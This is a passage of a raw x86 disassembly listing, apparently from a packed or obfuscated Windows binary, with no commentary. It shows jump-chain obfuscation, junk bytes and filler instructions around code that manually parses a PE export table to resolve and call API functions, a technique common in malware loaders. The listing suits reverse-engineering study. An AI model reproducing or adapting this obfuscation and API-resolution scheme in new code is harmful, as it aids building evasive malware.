edx test eax, eax jnz loc_4032E2 jmp short loc_402C6E ; --------------------------------------------------------------------------- db 0A5h, 7Ah, 2Bh dd 7462188h, 0A3D25D34h ; --------------------------------------------------------------------------- loc_402C4C: ; CODE XREF: sub_4021E2:loc_402C6Ej jmp short loc_402C7E ; --------------------------------------------------------------------------- dw 59A0h dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh dd 1E80BDAh, 3D94E7A6h db 32h, 83h ; --------------------------------------------------------------------------- loc_402C6E: ; CODE XREF: sub_4021E2+A5Dj jmp short loc_402C4C ; --------------------------------------------------------------------------- dd 0DF7E3900h db 2Ch ; --------------------------------------------------------------------------- loc_402C75: ; CODE XREF: sub_4021E2:loc_402C7Ej jmp short loc_402CA5 ; --------------------------------------------------------------------------- cmc mov bh, bl sbb [ecx+56h], dh xlat loc_402C7E: ; CODE XREF: sub_4021E2:loc_402C4Cj jmp short loc_402C75 ; --------------------------------------------------------------------------- dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h db 60h, 19h ; --------------------------------------------------------------------------- loc_402C96: ; CODE XREF: sub_4021E2:loc_402CA5j jmp short loc_402CC4 ; --------------------------------------------------------------------------- fidivr word ptr [edi-24152A74h] js short loc_402CF1 mov dh, 0B7h and al, 8Dh inc edx loc_402CA5: ; CODE XREF: sub_4021E2:loc_402C75j jmp short loc_402C96 ; --------------------------------------------------------------------------- push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h ; --------------------------------------------------------------------------- loc_402CC4: ; CODE XREF: sub_4021E2:loc_402C96j test ebx, 80000000h jnz loc_402D6F jmp short loc_402CFE ; --------------------------------------------------------------------------- dw 69F0h dd 251C8FEEh ; --------------------------------------------------------------------------- cli loc_402CD9: ; CODE XREF: sub_4021E2:loc_402CFEj jmp short loc_402D0E ; --------------------------------------------------------------------------- db 0ABh dd 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h db 0E4h ; --------------------------------------------------------------------------- loc_402CF1: ; CODE XREF: sub_4021E2+ABCj dec ebp add dl, [ebx] push eax dec ecx dec esi outsd jl short near ptr loc_402CFE+1 pop edx mov ebp, [eax-7Fh] loc_402CFE: ; CODE XREF: sub_4021E2+AEEj ; sub_4021E2+B16j jmp short loc_402CD9 ; --------------------------------------------------------------------------- dd 0BD146726h, 0B98003B2h, 75AC5FFEh db 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_402D0E: ; CODE XREF: sub_4021E2:loc_402CD9j push 95902B19h push esi push ebx xchg ebx, esi xor esi, ecx test cl, al cmp ch, al mov esi, esp dec esi cld pop ebx pop esi push dword ptr [ebp+10h] push ebx push edx xchg edx, ebx mov dx, 4A66h mov edx, esi dec ebx cmp bh, ah cld pop edx pop ebx call near ptr sub_401692 push esi push eax mov eax, 80C81Ah mov esi, esp mov ax, 4912h test eax, edx neg eax cld pop eax pop esi push 0 push edi push esi not esi js loc_402D5F cmp esi, edx test ecx, ebx loc_402D5F: ; CODE XREF: sub_4021E2+B73j test cl, bl stc cld pop esi pop edi call eax push ebx push edx xor edx, esp stc cld pop edx pop ebx loc_402D6F: ; CODE XREF: sub_4021E2+AE8j and ebx, 7FFFFFFFh push ecx push ebx cmp edi, ebp rep cld pop ebx pop ecx mov eax, [ebp+426h] push esi push edi nop loc_402D86: ; CODE XREF: sub_4021E2+BC2j dec esi cmp ebx, ebx mov edi, esi rcl edi, 4Ah mov esi, esi inc esi xchg esi, esi repne cld pop edi pop esi cmp [ebp-4], eax jnz loc_4031C0 jmp short loc_402DD2 ; --------------------------------------------------------------------------- dw 129Dh ; --------------------------------------------------------------------------- jecxz short loc_402D86 cdq pop esi aas loc_402DA9: ; CODE XREF: sub_4021E2:loc_402DD2j jmp short loc_402DE9 ; --------------------------------------------------------------------------- db 0Ch dd 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h dd 0D427E641h, 40C3727Dh, 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h loc_402DD2: ; CODE XREF: sub_4021E2+BBEj jmp short loc_402DA9 ; --------------------------------------------------------------------------- dd 22ED0417h ; --------------------------------------------------------------------------- mov bl, 70h loc_402DDA: ; CODE XREF: sub_4021E2:loc_402DE9j jmp short loc_402E08 ; --------------------------------------------------------------------------- dd 9C0F6EE9h, 882B7AA5h, 34074621h ; --------------------------------------------------------------------------- pop ebp loc_402DE9: ; CODE XREF: sub_4021E2:loc_402DA9j jmp short loc_402DDA ; --------------------------------------------------------------------------- db 0D2h dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h dd 0DA85FCEFh, 0A601E80Bh ; --------------------------------------------------------------------------- loc_402E08: ; CODE XREF: sub_4021E2:loc_402DDAj push edi jmp short loc_402E3A ; --------------------------------------------------------------------------- align 4 db 39h, 7Eh ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_4021E2:loc_402E3Aj jmp short loc_402E4D ; --------------------------------------------------------------------------- dd 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h, 3A655CCFh dd 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh ; --------------------------------------------------------------------------- mov bh, 24h loc_402E3A: ; CODE XREF: sub_4021E2+C27j jmp short loc_402E0E ; --------------------------------------------------------------------------- dd 9053428Dh db 89h, 8Eh, 0AFh ; --------------------------------------------------------------------------- loc_402E43: ; CODE XREF: sub_4021E2:loc_402E4Dj jmp short loc_402E70 ; --------------------------------------------------------------------------- db 0BCh, 45h, 9Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_402E4D: ; CODE XREF: sub_4021E2:loc_402E0Ej jmp short loc_402E43 ; --------------------------------------------------------------------------- db 54h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh dd 1C8FEE69h, 8ABFA25h, 0B487C6A1h ; --------------------------------------------------------------------------- loc_402E70: ; CODE XREF: sub_4021E2:loc_402E43j mov edx, ebx jmp short loc_402EA1 ; --------------------------------------------------------------------------- db 4Ch, 95h, 0AAh ; --------------------------------------------------------------------------- loc_402E77: ; CODE XREF: sub_4021E2:loc_402EA1j jmp short loc_402EB7 ; --------------------------------------------------------------------------- db 9Bh, 38h, 11h dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h db 62h ; --------------------------------------------------------------------------- loc_402EA1: ; CODE XREF: sub_4021E2+C90j jmp short loc_402E77 ; --------------------------------------------------------------------------- db 0F3h ; --------------------------------------------------------------------------- mov al, 29h scasb loc_402EA7: ; CODE XREF: sub_4021E2:loc_402EB7j jmp short loc_402ED2 ; --------------------------------------------------------------------------- db 4Fh, 0DCh, 0E5h dd 61C86BBAh, 9D744786h db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_402EB7: ; CODE XREF: sub_4021E2:loc_402E77j jmp short loc_402EA7 ; --------------------------------------------------------------------------- cdq pop esi aas loc_402EBC: ; CODE XREF: sub_4021E2:loc_402ED2j jmp short loc_402EED ; --------------------------------------------------------------------------- dw 550Ch dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh db 1Ah, 4Bh ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_4021E2:loc_402EA7j jmp short loc_402EBC ; --------------------------------------------------------------------------- dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h dd 0B322ED04h db 70h ; --------------------------------------------------------------------------- loc_402EED: ; CODE XREF: sub_4021E2:loc_402EBCj dec edx push edi push esi rcr esi, 9Dh push ebp pop esi mov edi, 80C8DAh cmp dl, bh jmp loc_402F04 ; --------------------------------------------------------------------------- not edi dec esi loc_402F04: ; CODE XREF: sub_4021E2+D1Aj xchg esi, edi clc cld pop esi pop edi shl edx, 2 push edi push eax jmp loc_402F1B ; --------------------------------------------------------------------------- mov eax, 809C1Ah xchg edi, eax loc_402F1B: ; CODE XREF: sub_4021E2+D2Dj test al, cl sub edi, 80D21Ah cmp edx, edi dec edi cld pop eax pop edi mov ebx, [ebp-4] push esi push ecx xor esi, edi test ecx, ecx not ecx clc cld pop ecx pop esi mov edi, [ebx+3Ch] jmp short loc_402F68 ; --------------------------------------------------------------------------- db 34h, 5Dh, 0D2h ; --------------------------------------------------------------------------- loc_402F40: ; CODE XREF: sub_4021E2:loc_402F68j jmp short loc_402F7A ; --------------------------------------------------------------------------- dw 0A0A3h dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h dd 0E80BDA85h, 94E7A601h, 83323Dh, 2CDF7E39h ; --------------------------------------------------------------------------- loc_402F68: ; CODE XREF: sub_4021E2+D59j jmp short loc_402F40 ; --------------------------------------------------------------------------- dw 8AF5h ; --------------------------------------------------------------------------- loc_402F6C: ; CODE XREF: sub_4021E2:loc_402F7Aj jmp short loc_402F99 ; --------------------------------------------------------------------------- dw 18FBh dd 0C4D75671h, 3073E2ADh db 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_402F7A: ; CODE XREF: sub_4021E2:loc_402F40j jmp short loc_402F6C ; --------------------------------------------------------------------------- dd 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh dd 0B65178DBh, 428D24B7h ; --------------------------------------------------------------------------- push ebx loc_402F99: ; CODE XREF: sub_4021E2:loc_402F6Cj mov edi, [edi+ebx+78h] jmp short loc_402FCF ; --------------------------------------------------------------------------- db 0AFh dd 0CB9A45BCh ; --------------------------------------------------------------------------- test al, 0C1h loc_402FA6: ; CODE XREF: sub_4021E2:loc_402FCFj jmp short loc_402FE6 ; --------------------------------------------------------------------------- dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h ; --------------------------------------------------------------------------- push edx and esp, [eax] loc_402FCF: ; CODE XREF: sub_4021E2+DBBj jmp short loc_402FA6 ; --------------------------------------------------------------------------- db 0D9h, 9Eh, 7Fh dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h db 7Ch, 5 ; --------------------------------------------------------------------------- loc_402FE6: ; CODE XREF: sub_4021E2:loc_402FA6j add ebx, [edi+ebx+1Ch] jmp short loc_403016 ; --------------------------------------------------------------------------- dd 0BD146726h db 0B2h, 3, 80h ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_4021E2:loc_403016j jmp short loc_403026 ; --------------------------------------------------------------------------- db 0B9h, 0FEh, 5Fh dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh dd 478661C8h, 0E3129D74h db 0E0h, 99h ; --------------------------------------------------------------------------- loc_403016: ; CODE XREF: sub_4021E2+E08j jmp short loc_402FF3 ; --------------------------------------------------------------------------- dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h db 0C2h, 0D3h ; --------------------------------------------------------------------------- loc_403026: ; CODE XREF: sub_4021E2:loc_402FF3j mov eax, [edx+ebx] jmp short loc_40303B ; --------------------------------------------------------------------------- db 0E6h dd 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax loc_403032: ; CODE XREF: sub_4021E2:loc_40303Bj jmp short loc_403063 ; --------------------------------------------------------------------------- dd 6C1FBE79h db 35h, 0CAh, 3Bh ; --------------------------------------------------------------------------- loc_40303B: ; CODE XREF: sub_4021E2+E47j jmp short loc_403032 ; --------------------------------------------------------------------------- db 58h, 0B1h ; --------------------------------------------------------------------------- loc_40303F: ; CODE XREF: sub_4021E2:loc_403063j jmp short loc_403074 ; --------------------------------------------------------------------------- xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_40307A mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger adc eax, 91B81B2Ah ; CODE XREF: sub_4021E2+E9Dj div bh loc_403063: ; CODE XREF: sub_4021E2:loc_403032j jmp short loc_40303F ; --------------------------------------------------------------------------- db 64h, 0CDh, 82h dd 0CEC9D093h ; --------------------------------------------------------------------------- loc_40306C: ; CODE XREF: sub_4021E2:loc_403074j jmp short loc_403097 ; --------------------------------------------------------------------------- dw 0FCEFh ; --------------------------------------------------------------------------- test ebx, edx or ebp, eax loc_403074: ; CODE XREF: sub_4021E2:loc_40303Fj jmp short loc_40306C ; --------------------------------------------------------------------------- dw 0A601h db 0E7h, 94h ; --------------------------------------------------------------------------- loc_40307A: ; CODE XREF: sub_4021E2+E6Bj cmp eax, 39008332h jle short near ptr loc_40305C+4 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- db 5Ch, 65h, 3Ah ; --------------------------------------------------------------------------- jmp short near ptr loc_4030DC+2 ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_403097: ; CODE XREF: sub_4021E2:loc_40306Cj add eax, [ebp-4] jmp short loc_4030CB ; --------------------------------------------------------------------------- db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_40309F: ; CODE XREF: sub_4021E2:loc_4030CBj jmp short loc_4030DF ; --------------------------------------------------------------------------- db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h db 6Dh, 0A2h, 33h ; --------------------------------------------------------------------------- loc_4030CB: ; CODE XREF: sub_4021E2+EB8j jmp short loc_40309F ; --------------------------------------------------------------------------- loc_4030CD: ; CODE XREF: sub_4021E2:loc_4030DFj jmp short loc_4030FA ; --------------------------------------------------------------------------- db 0F0h dd 1C8FEE69h, 8ABFA25h, 0B487C6A1h ; --------------------------------------------------------------------------- loc_4030DC: ; CODE XREF: sub_4021E2+EB2j fst qword ptr [edx+23h] loc_4030DF: ; CODE XREF: sub_4021E2:loc_40309Fj jmp short loc_4030CD ; --------------------------------------------------------------------------- db 20h ; --------------------------------------------------------------------------- loc_4030E2: ; CODE XREF: sub_4021E2:loc_4030FAj jmp short loc_403112 ; --------------------------------------------------------------------------- dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h db 5, 5Ah ; --------------------------------------------------------------------------- loc_4030FA: ; CODE XREF: sub_4021E2:loc_4030CDj jmp short loc_4030E2 ; --------------------------------------------------------------------------- dd 2681688Bh, 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi inc esp loc_403112: ; CODE XREF: sub_4021E2:loc_4030E2j pop edi jmp short loc_403142 ; --------------------------------------------------------------------------- mov al, 29h scasb loc_403118: ; CODE XREF: sub_4021E2:loc_403142j jmp short loc_403155 ; --------------------------------------------------------------------------- dw 0DC4Fh dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h db 41h, 0E6h ; --------------------------------------------------------------------------- loc_403142: ; CODE XREF: sub_4021E2+F31j jmp short loc_403118 ; --------------------------------------------------------------------------- dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh ; --------------------------------------------------------------------------- pop ss loc_403155: ; CODE XREF: sub_4021E2:loc_403118j jmp loc_4032E2 ; --------------------------------------------------------------------------- jmp short loc_403189 ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh loc_403167: ; CODE XREF: sub_4021E2:loc_403189j jmp short loc_403199 ; --------------------------------------------------------------------------- db 0D2h, 0A3h, 0A0h dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h dd 0E80BDA85h, 94E7A601h db 3Dh ; --------------------------------------------------------------------------- loc_403189: ; CODE XREF: sub_4021E2+F78j jmp short loc_403167 ; --------------------------------------------------------------------------- db 32h dd 7E390083h ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_4021E2:loc_403199j jmp short loc_4031C0 ; --------------------------------------------------------------------------- fild qword ptr ds:7118FB8Ah[esi*8] loc_403199: ; CODE XREF: sub_4021E2:loc_403167j jmp short loc_403190 ; --------------------------------------------------------------------------- db 56h dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h dd 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_4021E2+BB8j ; sub_4021E2:loc_403190j push 95902B19h push edi push ebx xchg ebx, ebx inc edi rol edi, 0Bh dec edi cld pop ebx pop edi push dword ptr [ebp+10h] jmp short loc_4031FF ; --------------------------------------------------------------------------- dw 0CB9Ah db 0A8h ; --------------------------------------------------------------------------- loc_4031D9: ; CODE XREF: sub_4021E2:loc_4031FFj jmp short loc_403212 ; --------------------------------------------------------------------------- db 0C1h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h dd 69F033A2h, 251C8FEEh, 0A108ABFAh db 0C6h, 87h, 0B4h ; --------------------------------------------------------------------------- loc_4031FF: ; CODE XREF: sub_4021E2+FF2j jmp short loc_4031D9 ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] and cl, bl loc_403206: ; CODE XREF: sub_4021E2:loc_403212j jmp short loc_403235 ; --------------------------------------------------------------------------- dd 954C7F9Eh, 11389BAAh ; --------------------------------------------------------------------------- jbe short loc_403289 loc_403212: ; CODE XREF: sub_4021E2:loc_4031D9j jmp short loc_403206 ; --------------------------------------------------------------------------- dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h dd 5FFEB980h, 7B0A75ACh, 57D6F198h db 44h ; --------------------------------------------------------------------------- loc_403235: ; CODE XREF: sub_4021E2:loc_403206j call near ptr sub_401692 push esi push eax sub esi, 819CDAh dec esi dec esi xor esi, ebp not esi test al, ah test cl, al test ecx, eax rep cld pop eax pop esi push 0 push edi push esi mov edi, 80899Ah push ebp pop edi loc_40325D: ; CODE XREF: sub_4021E2+10BBj cmp ebp, eax lea edi, ds:80C85Ah xchg edi, edi clc cmc cld pop esi pop edi call eax jmp short loc_403299 ; --------------------------------------------------------------------------- db 0C8h, 61h, 86h ; --------------------------------------------------------------------------- loc_403273: ; CODE XREF: sub_4021E2:loc_403299j jmp short loc_4032AC ; --------------------------------------------------------------------------- db 47h, 74h, 9Dh dd 99E0E312h, 550C3F5Eh, 0D1F85B6Ah, 0DA43736h db 0C2h ; --------------------------------------------------------------------------- loc_403289: ; CODE XREF: sub_4021E2+102Ej rcl dword ptr [eax], cl or [esi], ecx das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx out 27h, al aam 7Dh ; --------------------------------------------------------------------------- db 72h ; --------------------------------------------------------------------------- loc_403299: ; CODE XREF: sub_4021E2+108Cj jmp short loc_403273 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax jns short loc_40325D pop ds loc_4032A0: ; CODE XREF: sub_4021E2:loc_4032ACj jmp short loc_4032CF ; --------------------------------------------------------------------------- dw 356Ch dd 0B1583BCAh, 0ED041796h ; --------------------------------------------------------------------------- loc_4032AC: ; CODE XREF: sub_4021E2:loc_403273j jmp short loc_4032A0 ; --------------------------------------------------------------------------- and dh, [ebx+0F6EE970h] pushf loc_4032B5: ; CODE XREF: sub_4021E2:loc_4032CFj jmp short loc_4032E2 ; --------------------------------------------------------------------------- db 0A5h dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah db 0F6h, 0F7h, 64h ; --------------------------------------------------------------------------- loc_4032CF: ; CODE XREF: sub_4021E2:loc_4032A0j jmp short loc_4032B5 ; --------------------------------------------------------------------------- db 0CDh, 82h, 93h dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h db 94h, 3Dh ; --------------------------------------------------------------------------- loc_4032E2: ; CODE XREF: sub_4021E2+A57j ; sub_4021E2:loc_403155j ... mov [edi], eax push ecx push ebx mov ecx, 91AA1Ah cmp ebp, eax cld pop ebx pop ecx add dword ptr [ebp-8], 4 push edx push ebx shl edx, 46h push ecx pop edx mov bx, 4951h not ebx cld pop ebx pop edx jmp loc_402755 ; --------------------------------------------------------------------------- jmp short loc_403339 ; --------------------------------------------------------------------------- db 18h dd 0C4D75671h db 0ADh, 0E2h ; --------------------------------------------------------------------------- loc_403312: ; CODE XREF: sub_4021E2:loc_403339j jmp short loc_403349 ; --------------------------------------------------------------------------- dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h ; --------------------------------------------------------------------------- scasd loc_403339: ; CODE XREF: sub_4021E2+1127j jmp short loc_403312 ; --------------------------------------------------------------------------- db 0BCh db 45h, 9Ah, 0CBh ; --------------------------------------------------------------------------- loc_40333F: ; CODE XREF: sub_4021E2:loc_403349j jmp short loc_40336C ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h ; --------------------------------------------------------------------------- inc ebx loc_403349: ; CODE XREF: sub_4021E2:loc_403312j jmp short loc_40333F ; --------------------------------------------------------------------------- db 0C0h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h dd 8ABFA25h, 0B487C6A1h, 202352DDh ; --------------------------------------------------------------------------- loc_40336C: ; CODE XREF: sub_4021E2+710j ; sub_4021E2:loc_40333Fj mov [esi], eax push ecx push edi repne xor ecx, 80CD9Ah xchg edi, ecx lea edi, ds:80C81Ah cld pop edi pop ecx mov [esi+0Ch], eax jmp short loc_4033B6 ; --------------------------------------------------------------------------- db 0AAh db 9Bh, 38h ; --------------------------------------------------------------------------- loc_40338A: ; CODE XREF: sub_4021E2:loc_4033B6j jmp short loc_4033C9 ; --------------------------------------------------------------------------- dd 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h, 14672681h dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h, 0B0F3622Dh db 29h, 0AEh ; --------------------------------------------------------------------------- loc_4033B6: ; CODE XREF: sub_4021E2+11A3j jmp short loc_40338A ; --------------------------------------------------------------------------- dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h ; --------------------------------------------------------------------------- aas loc_4033C9: ; CODE XREF: sub_4021E2:loc_40338Aj mov [esi+10h], eax jmp short loc_4033FB ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 loc_4033D1: ; CODE XREF: sub_4021E2:loc_4033FBj jmp short loc_40340E ; --------------------------------------------------------------------------- db 37h dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h db 70h, 0E9h, 6Eh ; --------------------------------------------------------------------------- loc_4033FB: ; CODE XREF: sub_4021E2+11EAj jmp short loc_4033D1 ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl loc_40340E: ; CODE XREF: sub_4021E2:loc_4033D1j add esi, 14h push esi push edi xor edi, ebx mov di, 4E6Eh neg esi rcl esi, 98h xor esi, ecx mov esi, esi cld pop edi pop esi mov edx, [ebp+0Ch] jmp short loc_403454 ; --------------------------------------------------------------------------- dw 64F7h dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h db 1 ; --------------------------------------------------------------------------- loc_403439: ; CODE XREF: sub_4021E2:loc_403454j jmp short loc_40346B ; --------------------------------------------------------------------------- db 0A6h dd 323D94E7h, 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h dd 2EA93073h ; --------------------------------------------------------------------------- loc_403454: ; CODE XREF: sub_4021E2+1246j jmp short loc_403439 ; --------------------------------------------------------------------------- dw 5CCFh db 65h, 3Ah ; --------------------------------------------------------------------------- loc_40345A: ; CODE XREF: sub_4021E2:loc_40346Bj jmp short loc_40348A ; --------------------------------------------------------------------------- jmp short loc_4034A6 ; --------------------------------------------------------------------------- dw 6E1h dd 921DF4C7h, 0DE196063h db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_40346B: ; CODE XREF: sub_4021E2:loc_403439j jmp short loc_40345A ; --------------------------------------------------------------------------- db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh db 0F9h, 3Eh ; --------------------------------------------------------------------------- loc_40348A: ; CODE XREF: sub_4021E2:loc_40345Aj jmp loc_402379 ; --------------------------------------------------------------------------- push ecx push esi xor ecx, edi cld cld pop esi pop ecx loc_403497: ; CODE XREF: sub_4021E2+214j pop ebx jmp short loc_4034C7 ; --------------------------------------------------------------------------- dw 9716h db 84h ; --------------------------------------------------------------------------- loc_40349D: ; CODE XREF: sub_4021E2:loc_4034C7j jmp short loc_4034DA ; --------------------------------------------------------------------------- db 6Dh dd 69F033A2h db 0EEh, 8Fh ; --------------------------------------------------------------------------- loc_4034A6: ; CODE XREF: sub_4021E2+127Aj sbb al, 25h cli stosd or [ecx-224B783Ah], ah push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_403535 in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd ; --------------------------------------------------------------------------- db 7Ch ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_4021E2+12B6j jmp short loc_40349D ; --------------------------------------------------------------------------- db 5 ; --------------------------------------------------------------------------- loc_4034CA: ; CODE XREF: sub_4021E2:loc_4034DAj jmp short loc_4034F5 ; --------------------------------------------------------------------------- dd 81688B5Ah, 0BD146726h, 0B98003B2h db 0FEh, 5Fh ; --------------------------------------------------------------------------- loc_4034DA: ; CODE XREF: sub_4021E2:loc_40349Dj jmp short loc_4034CA ; --------------------------------------------------------------------------- dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh dd 478661C8h db 74h ; --------------------------------------------------------------------------- loc_4034F5: ; CODE XREF: sub_4021E2:loc_4034CAj pop edi loc_4034F6: ; CODE XREF: sub_4021E2+1354j push ecx push ebx mov ecx, 80A29Ah or ecx, 818E9Ah mov ebx, 808C6Ah test al, ch inc ebx xor ebx, edi push eax pop ebx cmp edx, ebp cmp ebp, ebx cld pop ebx pop ecx pop esi jmp short loc_403544 ; --------------------------------------------------------------------------- push 5Bh clc loc_40351C: ; CODE XREF: sub_4021E2:loc_403544j jmp short loc_403557 ; --------------------------------------------------------------------------- dw 36D1h dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_403535: ; CODE XREF: sub_4021E2+12DAj inc eax jns short loc_4034F6 pop ds insb xor eax, 0B1583BCAh xchg eax, esi pop ss add al, 0EDh ; --------------------------------------------------------------------------- db 22h ; --------------------------------------------------------------------------- loc_403544: ; CODE XREF: sub_4021E2+1335j jmp short loc_40351C ; --------------------------------------------------------------------------- dw 70B3h db 0E9h ; --------------------------------------------------------------------------- loc_403549: ; CODE XREF: sub_4021E2:loc_403557j jmp short loc_40357A ; --------------------------------------------------------------------------- db 6Eh ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh loc_403557: ; CODE XREF: sub_4021E2:loc_40351Cj jmp short loc_403549 ; --------------------------------------------------------------------------- db 0D2h, 0A3h, 0A0h dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh db 0C9h, 0CEh ; --------------------------------------------------------------------------- loc_40356E: ; CODE XREF: sub_4021E2:loc_40357Aj jmp short locret_40359D ; --------------------------------------------------------------------------- dd 0DA85FCEFh, 0A601E80Bh db 0E7h, 94h ; --------------------------------------------------------------------------- loc_40357A: ; CODE XREF: sub_4021E2:loc_403549j jmp short loc_40356E ; --------------------------------------------------------------------------- dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h db 1Dh ; --------------------------------------------------------------------------- locret_40359D: ; CODE XREF: sub_4021E2:loc_40356Ej leave push edi push ecx cmp al, 0EFh dec ecx cld pop ecx pop edi retn 0Ch sub_4021E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short loc_4035DB ; --------------------------------------------------------------------------- aad 0EAh fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_4035C2: ; CODE XREF: .text:loc_4035DBj jmp short loc_4035F2 ; --------------------------------------------------------------------------- dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h, 33A26D84h db 0F0h, 69h, 0EEh ; --------------------------------------------------------------------------- loc_4035DB: ; CODE XREF: .text:004035A9j jmp short loc_4035C2 ; --------------------------------------------------------------------------- db 8Fh, 1Ch, 25h db 0FAh, 0ABh, 8 ; 